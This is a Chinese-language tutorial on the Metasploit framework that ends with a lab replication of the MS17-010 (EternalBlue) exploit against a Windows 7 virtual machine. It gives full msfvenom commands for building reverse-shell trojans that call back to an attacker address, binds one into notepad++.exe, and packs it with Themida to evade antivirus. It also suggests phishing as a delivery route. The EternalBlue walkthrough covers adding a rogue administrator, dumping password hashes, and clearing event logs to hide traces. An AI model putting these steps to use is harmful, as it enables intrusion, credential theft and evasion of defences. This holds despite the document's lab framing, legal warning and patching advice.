Metasploit渗透框架介绍及永恒之蓝复现
一、Metasploit渗透框架介绍
1.1 名词解释
- POC:Proof of Concept,概念证明,用来证明漏洞存在的一段代码,没有攻击性;
- EXP:Exploit,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性;
- Payload:有效载荷,指在Exploit执行成功后,正在在系统进行执行的代码或指令;
- ShellCode:一段用于利用漏洞而执行的代码,为16进制的机器码,由于其建立正向/反向shell而得名;
1.2 MSF简介
- The Metasploit Framework 的简称。MSF高度模块化,即框架由多个module组成,全球最受欢迎的渗透测试工具之一;
- 是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行shellcode,并保持持续更新;
- metasploit涵盖了渗透测试中全过程,用户可以在框架下利用现有的payload进行一系列的渗透测试;
1.3 MSF框架结构
kali-metasploit框架目录路径:/usr/share/metasploit-framework
- data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件;
- documention:包含框架的可用文档;
- lib:metasploit的库文件夹;
- plugins:用来存放metasploit插件;
- scripts:用来存放metasploit的脚本,包括metepreter及其脚本;
- tools:存放多种的命令行实用程序;
- modules:存储metasploit的模块文件;
kali-metasploit版本及更新
#查看版本
msfconsole -v
#更新
apt-get update
apt-get install metasploit-framework
启动msfconsole
- Msfconsole是metasploit框架用户接口。通过该接口可以实用metasploit中的所有模块;
- Msfconsole主要用于:管理metasploit数据库;管理会话;配置启动metasploit模块;
1.4 MSF命令汇总
1.4.1 常用命令
命令 | 介绍 |
---|---|
show exploits | 查看所有可用的渗透攻击程序代码; |
show auxiliary | 查看所有可用的辅助攻击工具; |
show options/advanced | 查看该模块可用选项; |
show payloads | 查看该模块适用的所有有效载荷; |
show targets | 查看该模块适用的攻击目标类型; |
search xxx | 根据关键字搜索xxx模块; |
info | 显示某模块的详细信息; |
use xxx | 使用xxx渗透攻击模块; |
back | 回退 |
set/unset | 设置/禁用模块中的某个参数; |
setg/unsetg | 设置/禁用适用于所有模块的全局参数; |
exit | 退出系统 |
reload | 重新装载模块 |
save | 保存设置 |
1.4.2 基本命令
命令 | 介绍 |
---|---|
? | 执行?命令:帮助菜单 |
search | 搜索模块名和描述 |
use | 使用命令 |
back | 从当前环境返回 |
Banner | 命令,显示一个MSF的banner |
color | 颜色转换 |
connect | 连接一个主机 |
exit | 退出MSF |
info | 显示一个或多个模块的信息 |
irb | 进入irb脚本模式。 |
jobs | 显示和管理作业(和windows任务管理器的进程作用一样) |
kill | 杀死一个作业(和结束进程的作用一样) |
loadpath | 加载一个模块的路径。 |
quit | 退出MSF |
load | 加载一个插件 |
load | 加载一个插件 |
route | 查看一个会话的路由信息。 |
save | 保存当前配置,以便在下次启动msf时可直接使用配置的参数 |
set | 给一个变量赋值 |
show | 显示给所有类型的模块 |
setg | 把一个赋值给全局变量,例如上述set设置的IP,就会用到其他攻击模块的RHOST中 |
sleep | 在限定的秒数内什么也不做 |
unload | 卸载一个模块 |
unset | 解出一个或多个变量。 |
unsetg | 解出一个或多个全局变量 |
version | 显示MSF和控制台库版本 |
1.4.3 Exploits模块
命令 | 介绍 |
---|---|
RHOST | 目标主机IP地址 |
RPORT | 目标主机连接端口 |
Payload | 有效的载荷,成功后返回shell |
LHOST | 攻击者的IP地址 |
LPORT | 攻击者的端 |
1.4.4 漏洞名称规则
命令 | 介绍 |
---|---|
shell_find_tag | 在一个已建立的连接上创建一个shell |
shell_reverse_tcp | 反向连接到攻击者主机并创建一个shell |
bind_tcp | 监听一个tcp连接 |
reverse_tcp | 反向建立tcp连接 |
reverse_http | 通过HTTP隧道通信并创建一个新用户添加到管理组 |
add_user | 创建一个新用户并添加到管理组 |
xxx_ipv6_tcp | 基于IPV6 |
xxx_nonx_tcp | no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术) |
xxx_ord_tcp | 有序payload |
xxx_tcp_allports | 在所有可能的端口 |
1.5 MSF模块介绍
- 模块是通过metasploit框架装载集成对外提供最核心的渗透测试功能实现代码;
- MSF所有的漏洞测试都是基于模块;
- 模块存储在
/usr/share/metasploit-framework/modules
路径中;
1.5.1 auxiliary(辅助模块)
- 辅助渗透:端口扫描、密码爆破、漏洞验证等
- 用于辅助操作的模块,辅助模块能在渗透之前得到目标系统丰富的情报信息,从而发起更具有攻击性的攻击行为;
- 例如:针对各种网络服务扫描与查点、网络扫描、枚举、漏洞扫描、口令破解、模糊测试、爬虫遍历、数据提取等;
- 此外,辅助模块中还包括一些无需加载攻击载荷,同时往往不是取得目标系统远程控制权的渗透攻击,如拒绝服务攻击;
1.5.2 exploits(漏洞利用模块)
- 包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类;
- 利用漏洞和传递有效负载的模块。利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对目标系统访问控制权的代码组件;
- 有远程漏洞利用、本地漏洞利用、权限提升漏洞利用、客户端漏洞利用、web应用程序漏洞利用和许多其他漏洞;
1.5.3 payloads(攻击载荷)
- 主要是攻击成功后在目标机器执行的代码,比如反弹shell代码;
- 用于在利用期间执行操作的模块。攻击载荷是在渗透成功后在目标系统运行的一段植入代码,通常是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透代码开发中,攻击载荷只是一段简单的ShellCode代码。例如:建立Meterpreter会话、反向shell、执行命令、下载和执行程序等;
1.5.4 post(后渗透阶段模块)
- 漏洞利用成功后获得meterpreter之后,向目标发送到的一些功能性指令,如:提权等;
- 用于在拿到权限后进行渗透利用操作的模块。例如凭证/哈希转储、本地权限提升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获和许多其他操作;
1.5.5 encoders(编码器模块)
- 主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统;
- 用于有效负载编码和加密的模块,例如 base64 、 XOR 、 shikata_ga_nai 等。这有助于混淆以规避防病毒或 NIDS (网络入侵检测系统)、 EDR (端点检测和响应)等防御。
1.5.6 evasion(躲避模块)
- 用来生成免杀payload
- 用于规避防御的模块,例如防病毒规避、 AppLocker 绕过、软件限制策略 (SRP) 绕过等。
1.5.7 nops(空指令模块)
- 空指令就是空操作,提高paylaod稳定性及维持大小;
- 用于生成无害、良性的“无操作”指令的模块,例如用于填充目的、在利用期间在内存中滑动等。用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。
- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。
- 在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败,从而提高渗透攻击的可靠性。
1.6 MSF的arp_sweep存活主机扫描
- 在TCP/IP网络环境中,一台主机在发送数据帧前需要使用ARP(Address Resolution Protocol,地址解析协议)将目标IP地址转换成MAC地址,这个转换过程是通过发送一个ARP请求来完成的。如IP为A的主机发送一个ARP请求获取IP为B的MAC地址,此时如果IP为B的主机存在,那么它会向A发出一个回应。因此,可以通过发送ARP请求的方式很容易地获取同一子网上的活跃主机情况,这种技术也称为ARP扫描。Metasploit的arp_sweep模块便是一个ARP扫描器。
- 第一步:在打开的kali中启动MSF框架。直接输入msfconsole回车进入;
msfconsole
- 第二步:搜索arp_sweep模块
search arp_sweep
- 第三步:使用arp_sweep模块进入该模块(即图中红色代码),use+空格+对应模块前的序号,或use+空格+模块名;
use 0 或 use auxiliary/scanner/discovery/arp_sweep
- 可以在use模块之后查看该模块的信息,直接输入info或info+空格+模块名,显示出该模块的一些信息;
info 或 info auxiliary/scanner/discovery/arp_sweep
- 第四步:显示模块需要配置的选项,输入show options;
show options
- 第五步:设置目标网络,输入set RHOSTS 192.168.1.0/24,在Metasploit中,大部分RHOSTS参数均可设置为一个或多个IP地址,多个IP地址可使用连字符号(-)表示(如10.10.10.1-10.10.10.100),或使用无类型域间选路地址块(CIDR)表示(如10.10.10.0/24)。
set RHOSTS 192.168.1.0/24
- 设置线程数,输入set THREADS 30,在所有的扫描类操作中,均可以通过将THREAD参数设置成一个较大的值来增加扫描线程以提高扫描速度,或者设置为较小的值让扫描过程更加隐秘。
set THREADS 30
- 第六步:执行该模块,输入
run 或exploit
- 从返回结果可以看到,arp_sweep模块很快发现了192.168.1.0/24网段上拥有如上图这么多台活跃主机,其中192.168.1.173这个IP地址为宿主主机上模拟的虚拟网卡IP地址。
- arp_sweep模块只能探测同一子网中的活跃主机,对于远程网络,可以使用更为强大的Nmap扫描器进行探测。
二、Meterpreter后渗透模块-用于攻击成功后的操作
- 输入
help
可查看帮助信息,返回可进行操作的内容,包含远程控制、命令执行、摄像头控制、密码获取、创建后门用户、破坏篡改系统等;
核心命令
命令 | 说明 |
---|---|
? | “帮助”菜单 |
background | 当前会话的背景 |
bg | 背景别名 |
bgkill | 杀死背景meterpreter脚本 |
bglist | 列出正在运行的后台脚本 |
bgrun | 作为后台线程执行meterpreter脚本 |
channel | 显示信息或控制活动通道 |
close | 关闭频道 |
detach | 分离meterpreter会话(对于http/https) |
disable_unicode_encoding | 禁用unicode字符串的编码 |
enable_unicode_encoding | 启用unicode字符串的编码 |
exit | 终止meterpreter会话 |
get_timeouts | 获取当前会话超时值 |
guid | 获取会话guid |
help | 帮助菜单 |
info | 显示有关Post模块的信息 |
irb | 在当前会话上打开交互式Ruby shell |
load | 加载一个或多个meterpreter扩展 |
machine_id | 获取连接到会话的计算机的MSF id |
migrate | 将服务器迁移到另一个进程 |
pivot | 管理数据透视侦听器 |
pry | 在当前会话上打开Pry调试器 |
quit | 终止meterpreter会话 |
read | 从通道读取数据 |
resource | 运行存储在文件中的命令 |
run | 执行meterpreter脚本或Post模块,如run killav关闭杀毒软件;run getgui-e启动远程桌面 |
secure | (重新)协商TLV数据包加密 |
sessions -u id | 将某个session转换为meterpreter |
set_timeouts | 设置当前会话超时值 |
sleep | 强制仪表安静,然后重新建立会话,用法:用法:sleep<秒数> |
ssl_verify | 修改ssl证书验证设置 |
transport | 管理运输机制 |
use | “load”的别名已弃用 |
uuid | 获取当前会话的uuid |
write | 将数据写入通道 |
Stdapi:文件系统命令
命令 | 说明 |
---|---|
cat | 将文件的内容读到屏幕上 |
cd | 更改目录 |
checksum | 检索文件的校验和 |
cp | 将源复制到目标 |
del | 删除指定的文件 |
dir | 列表文件(ls的别名) |
download | 下载文件或目录,download C:\1.txt下载1.txt文件 |
edit | 编辑文件 |
getlwd | 打印本地工作目录 |
getwd | 打印工作目录 |
lcat | 将本地文件的内容读取到屏幕 |
lcd | |
lls | 列出本地文件 |
lpwd | 打印本地工作目录 |
ls | 列表文件 |
mkdir | 创建新目录 |
mv | 将源文件移动到目标 |
pwd | 打印工作目录 |
rm | 删除指定的文件 |
rmdir | 删除目录 |
search | 搜索文件,如search -d c: -f *.docx在c盘下查找dcox文件 |
show_mount | 列出所有装载点/逻辑驱动器 |
upload | 上载文件或目目录(可以用来上传文件到对方电脑),如upload /root/exp.py C:\exp.py,将本地/root/exp.py文件上传到目标主机C:\exp.py上 |
Stdapi:网络命令
命令 | 说明 |
---|---|
arp | 显示主机arp缓存 |
getproxy | 显示当前代理配置 |
ifconfig | 显示界面 |
ipconfig | 显示IP界面 |
netstat | 显示网络连接与对方开放的端口 |
portfwd | 将本地端口转发到远程服务,如portfwd add -l 1234 -p 3389 -r 目标IP,访问本地1234端口就能访问目标IP的3389端口 |
resolve | 解析目标上的一组主机名 |
route | 查看和修改路由表 |
Stdapi:系统命令
Stdapi:系统命令
命令 | 说明 |
---|---|
clearev | 清除事件日志 |
drop_token | 放弃任何活动模拟令牌。 |
execute | 执行命令,如execute -H -i -f emd.exe在目标机执行cmd,-H不可见,-i交互 |
getenv | 获取一个或多个环境变量值 |
getpid | 获取当前进程标识符 |
getprivs | 尝试启用当前进程可用的所有权限 |
getsid | 获取服务器正在运行的用户的SID |
getuid | 获取当前用户权限 |
kill | 终止进程 |
localtime | 显示目标系统的本地日期和时间 |
pgrep | 按名称筛选进程 |
pkill | 按名称终止进程 |
ps | 列出正在运行的进程 |
reboot | 重新启动远程计算机 |
reg | 修改并与远程注册表交互 |
rev2self | 在远程计算机上调用RevertToSelf() |
shell | 放入系统命令shell |
shutdown | 关闭远程计算机 |
stealt_token | 尝试从目标进程中窃取模拟令牌 |
suspend | 暂停或恢复进程列表 |
sysinfo | 获取有关远程系统的信息,如操作系统 |
Stdapi:用户界面命令
命令 | 说明 |
---|---|
enumdesktops | 列出所有可访问的桌面和窗口工作站 |
getdesktop | 获取当前meterpreter桌面 |
idletime | 返回远程用户空闲的秒数 |
keyboard_send | 发送键击 |
keyevent | 发送按键事件 |
keyscan_dump | 转储击键缓冲区 |
keyscan_start | 开始捕获击键 |
keyscan_stop | 停止捕获击键 |
mouse | 发送鼠标事件 |
screenshare | 共享实时监视远程用户桌面 |
screenshot | 截图,获取交互式桌面的截图 |
setdesktop | 更改meterpreters当前桌面 |
uictl | 控制一些用户界面组件 |
Stdapi:正在使用网络摄像头命令
Stdapi:正在使用网络摄像头命令
命令 | 说明 |
---|---|
record_mic | 从默认麦克风录制音频X秒 |
webcam_chat | 开始视频聊天 |
webcam_list | 列出网络摄像头 |
webcam_snap | 从指定的网络摄像机拍摄快照 |
webcam_stream | 从指定的网络摄像机播放视频流(打开摄像头) |
Stdapi:音频输出命令
命令 | 说明 |
---|---|
play | 在目标系统上播放波形音频文件(.wav) |
Priv:提升命令
命令 | 说明 |
---|---|
getsystem | 尝试将您的权限提升到本地系统的权限 |
密码数据库命令
命令 | 说明 |
---|---|
hashdump | 转储SAM数据库的内容 |
Priv:时间戳命令
命令 | 说明 |
---|---|
timestomp | 操纵文件MACE属性 |
2.1、 msfvenom生成远控木马
- msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线;
- Windows系统可执行程序后门:生成后门的命令
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.123.136 lpost=9999 -f exe -o demo.exe
'''
其中:
-p:载荷payload,其后的载荷名由4部分组成,分别是系统/架构/作用/方式;
lhost:Kali攻击机的IP地址
lport:Kali攻击机的端口,0-6535之间的任意一个端口都可以
-f:format格式,如生成windows可执行文件exe格式:-f exe,Windows可执行文件包含dll和exe
-o:输出木马的名字,如-o demo.exe
'''
- Linux系统可执行程序后门:生成后门的命令
#逆向TCP
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.123.136 lpost=9999 -f elf -o shell.elf
#elf是Linux系统可执行文件
#正向TCP,主动连接
msfvenom -p linux/x86/meterpreter/bind_tcp lhost=192.168.123.136 lpost=9999 -f elf -o shell.elf
- web payload
- 脚本payload
2.1.1 生成木马文件
- 在Kali攻击机上生成木马文件;
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.123.136 lpost=9999 -f exe -o demo.exe
注意:这里是在命令行的root路径下输入命令所以文件默认是生成在root目录下,如果想改生成文件的位置,那就把命令后面的文件名改成路径加文件名,如:/home/kali/demo.exe 。或者使用命令:cd 路径 # 更改命令行的路径
- 通过伪装、免杀、钓鱼等方式将木马文件传到靶标上或者将文件通过邮件、上传的形式传输到靶标上,目前假定demo.exe已经上传到Windows机器上了,用户只要进行双击执行即可执行木马文件;
在meterpreter中,先查看打印目标的工作目录,然后上传木马文件
upload /root/demo.exe C:\\
有些杀毒软件会将该文件杀掉,此时需要进行免杀操作;
- 记得在 msfconsole里开启监听,等待受害者运行上钩 。现在有了木马文件,我们要让别人下载,俗称:“钓鱼” ,当把生成的木马传输到靶标机后,需要在Kali攻击机上开启监听,使用
exploit/multi/handler
模块
use exploit/multi/handler
show options
此时需要在该模块中设置一些参数,如payload、lhost和lport,这3个参数必须和生成木马文件时采用的参数一致;
set payload windows/x64/meterpreter/reverse_tcp
set lhost=192.168.123.136
set lpost=9999
run
当靶标机用户双击demo.exe
后或者采用命令行执行execute -H -i -f demo.exe # 运行demo.exe这个我们发到目标过去的木马文件, -H 不可见,-i 交互
,会得到监听结果;
当demo.exe
文件被删除后,该木马就失效了,如果怕被删除,就需要进行权限维持、权限提升、二次木马后门的植入;
2.2、msfvenom生成免杀远控木马
2.2.1 捆绑木马-增加一个-x参数
- 躲避火绒的探测,基础的免杀对于不同杀毒软件效果不同,具体情况具体分析;
此方法针对于360杀毒不行;
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.123.136 lpost=9999 -f exe -x notepad++.exe -o notepad++.exe
下载一个正常的64位notepad++.exe
应用程序,当用户打开notepad++应用软件时,木马就被捆绑触发了,此时需要注意软件的位数,payload是64位的,所以待捆绑的软件必须也是64位的,但国内大多数软件时32位的,国外大多数软件是64位的;
2.2.2 加壳:压缩壳、加密壳
- 压缩壳:压缩存储空间;
- 加密壳:阻止软件被反编译、漏洞挖掘,加密壳软件如:Themida
Themida使用示例:
打开软件 ;
将待加密文件拖进去;
点击"project";
然后耐心等待加密过程,最后加密成功的界面如下,之后就可以关闭软件了;
加密文件可以躲避360和腾讯管家的检测;
然后可以复制到真实机上测试;
后门木马请勿随意传播,如果造成危害属于提供计算机操作系统入侵工具罪及非法入侵计算机操作系统数罪并罚。
参考:1.https://blog.csdn.net/weixin_43263566/article/details/128573101
三、Windows下的MS17-010(永恒之蓝)漏洞分析与复现
3.1 永恒之蓝
- 永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用美国国家安全局泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 ,“永恒之蓝”是利用Windows系统的SMB漏洞来获取Windows系统的最高权限。在2017年前的Windows版本操作系统都有这个漏洞,所以Microsoft将此漏洞命名为ms17_010。
3.2 漏洞原理
- 永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
- 补充:
“445端口是TCP共享服务 445端口它将尝试同时连接到端口139和445。如果端口445有响应,它将向端口139发送TCPRST数据包,以断开并继续与端口455的通信;当端口445没有响应时,使用端口139。”
“139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows"文件和打印机共享"和SAMBA。在Internet上共享自己的硬盘可能是最常见的问题。139属于TCP协议。”
3.3 影响版本
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
3.4 复现环境
- 攻击机:kali-Linux-2022.2(IP:192.168.50.133/24)
- 靶机:Windows 7(IP:192.168.50.159/24)
- kali-Linux-2022.2镜像下载地址:ttps://www.kali.org/get-kali/#kali-bare-metal
- Windows 7镜像下载地址:https://msdn.itellyou.cn/
- kali-Linux-2022.2和Windows 7能够相互ping通,Windows 7靶- 机关闭防火墙,开启445端口(默认端口开启),Windows 7靶机不要打补丁
3.5 攻击流程
Metasploit攻击流程参考:
Metasploit进行渗透攻击的基本步骤:
1、 使用nmap进行端口扫描
2、 使用search命令查找相关模块
3、 使用use调度模块
4、 使用info查看模块信息
5、 选择payload作为攻击
6、 设置攻击参数
7、 渗透攻击
8、 后渗透攻击
3.6 漏洞复现
-
使用kali自带的nmap对靶机进行端口扫描,扫描到445端口处于开放状态
nmap 192.168.50.159
-
启动kali自带的msf,显示msf6>后说明已经进入msf了
msfconsole
-
搜寻永恒之蓝漏洞(MS17-010)可使用的攻击模块
search ms17-010
-
使用相应模块auxiliary/scanner/smb/smb_ms17_010对靶机进行验证,验证靶机是否存在永恒之蓝漏洞(MS17-010),可直接使用模块前面对应的数字,效果相同
use 3
-
查询配置,yes 全部需要手动配置,配置已经存在的,可以使用它给的默认配置也可以对该配置进行更改,no 就无需理会
show options
我这里只需配置RHOSTS(靶机IP地址)就行了,其他默认
set rhosts 192.168.50.159
配置有效载荷,该步的作用是攻击机扫描完后,使靶机反弹回一个会话给攻击机建立连接
set payload windows/x64/meterpreter/reverse_tcp
-
使用exploit或run命令进行攻击,显示靶机存在永恒之蓝漏洞(MS17-010)
exploit/run
-
正式开始攻击。换用攻击模块exploit/windows/smb/ms17_010_eternalblue对应前面的数字为0(我的此攻击模块对应前面的数字是0)
use 0
重复第5步步骤,注意:执行show options命令后查看到yes对应的地方如果是空的需要全部配上; -
使用exploit或run命令进行攻击,这时靶机会反弹一个会话,然后可以进行下一步操作,比如查看靶机版本信息或者获取靶机的shell权限等
run
当显示meterpreter时,表明攻击成功。 -
对靶机进行一系列操作
查看系统信息
sysinfo
反弹shell
shell
可以创建用户
net user xxxx 1234 /add(xxxx用户名 1234密码)
net localgroup administrators xxxx /add (将用户设置为管理员权限)
net user
得到账户hash,解码可以得到密码
hashdump
找到显示的路径可以看到受害者屏幕截图
screenshot
显示成功
记得保持清除日志的好习惯
clearev
3.7 永恒之蓝漏洞解决办法
1、开启防火墙
2、对系统进行升级或者打补丁
3、关闭相应的端口